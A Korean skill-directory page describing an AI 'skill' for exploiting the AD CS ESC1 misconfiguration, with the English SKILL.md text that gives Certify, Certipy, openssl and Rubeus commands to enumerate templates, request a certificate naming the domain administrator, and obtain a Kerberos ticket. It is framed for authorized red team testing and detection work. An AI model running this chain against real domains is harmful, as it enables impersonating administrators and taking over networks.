본문으로 건너뛰기
Skillpedia
보안35k · #7897

exploiting-active-directory-certificate-services-esc1

하는 일

이 도구는 AD CS(Active Directory 인증서 서비스)라는 보안 시스템의 흔한 결함을 악용합니다. 권한이 낮은 사용자가 도메인 관리자처럼 권한이 높은 사용자인 척하여 더 높은 접근 권한을 얻을 수 있게 합니다.

사용하는 경우

  • ✓기업 네트워크에서 허가된 보안 테스트를 할 때.
  • ✓인증 시스템에서 공격이 어떻게 일어날 수 있는지 분석할 때.
  • ✓통제된 공격 시뮬레이션으로 방어를 테스트하는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“Active Directory의 인증서 설정이 악용되어 관리자 권한을 얻을 수 있는지 테스트하고 싶습니다.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 다른 사람을 대신해 인증서를 요청할 수 있게 하는 인증서 서비스의 잘못된 설정을 찾습니다. 찾으면 관리자를 사칭하는 가짜 인증서를 만들고, 이를 사용해 시스템 전체에 대한 접근 권한을 얻습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting Active Directory Certificate Services ESC1

Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).

When to Use

  • When performing authorized security testing that involves exploiting active directory certificate services esc1
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
  • Identify vulnerable ESC1 templates with "Supply in Request" enabled
  • Request a certificate specifying a Domain Admin in the SAN field
  • Authenticate using the forged certificate via PKINIT to obtain a TGT
  • Escalate privileges to Domain Admin using the obtained Kerberos ticket
  • Document the full attack chain for the engagement report

MITRE ATT&CK Mapping

  • T1649 - Steal or Forge Authentication Certificates
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1484 - Domain Policy Modification
  • T1087.002 - Account Discovery: Domain Account

Workflow

Phase 1: AD CS Enumeration

  1. Enumerate Certificate Authority (CA) servers in the domain:
    # Using Certify (Windows)
    Certify.exe cas
    
    # Using Certipy (Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
    
  2. Enumerate all certificate templates and identify vulnerable ones:
    # Using Certify - find vulnerable templates
    Certify.exe find /vulnerable
    
    # Using Certipy - outputs JSON and text reports
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. Verify ESC1 conditions on identified templates:
    • msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage contains Client Authentication or Smart Card Logon
    • msPKI-Enrollment-Flag does not require manager approval
    • Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

Phase 2: Certificate Request with Arbitrary SAN

  1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
    # Using Certify (Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # Using Certipy (Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
    
  2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
  3. Save the output certificate in PFX/PEM format

Phase 3: Authentication with Forged Certificate

  1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. Authenticate using PKINIT to obtain a TGT for the impersonated user:
    # Using Rubeus (Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # Using Certipy (Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    

…

자주 묻는 질문

AD CS란 무엇인가요?

기업 네트워크 안에서 인증과 보안을 위해 디지털 인증서를 관리하는 Microsoft 서비스입니다.

‘권한 상승’은 무엇을 뜻하나요?

처음보다 더 높은 접근 권한을 얻는 것입니다. 예를 들어 일반 사용자에서 관리자가 되는 것입니다.

이 도구를 사용하려면 허가가 필요한가요?

네, 이 도구는 허가된 보안 테스트에만 사용해야 합니다. 허가 없이 사용하는 것은 불법이며 비윤리적입니다.

상세 정보

작성자의 원본 설명

Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7897
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬